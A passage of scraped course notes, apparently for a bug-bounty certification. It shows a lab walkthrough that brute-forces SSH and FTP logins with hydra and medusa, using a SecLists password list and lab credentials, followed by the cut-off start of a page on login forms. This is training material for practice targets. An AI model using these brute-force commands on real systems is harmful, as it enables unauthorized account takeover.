28 bytes received in 00:00 (147.80 KiB/s)
ftp> !cat flag.txt
{hidden}
Copy
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt
Copy
hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://94.237.56.229:39400
Copy
login: satwossh password: password1
Copy
ssh satwossh@94.237.56.229 -p 39400
Copy
ls
Copy
IncidentReport.txt
Copy
nmap localhost
Copy
./username-anarchy/username-anarchy "Thomas Smith" > thomas_smith.txt
Copy
medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"
Copy
ACCOUNT FOUND: User: thomas Password: chocolate!
Copy
ftp ftp://thomas:chocolate\!@localhost
Copy
ls
Copy
flag.txt
Copy
get flag.txt
Copy
!cat flag.txt
Copy
{hidden}
---
# Login Forms | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms.md)
.
Beyond the realm of Basic HTTP Authentication, many web applications employ custom login forms as their primary authentication mechanism. These forms, while visually diverse, often share common underlying mechanics that make them targets for brute forcing.
### Understanding Login Forms[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#understanding-login-forms)
While login forms may appear as simple boxes soliciting your username and password, they represent a complex interplay of client-side and server-side technologies. At their core, login forms are essentially HTML forms embedded within a webpage. These forms typically include input fields (``) for capturing the username and password, along with a submit button (`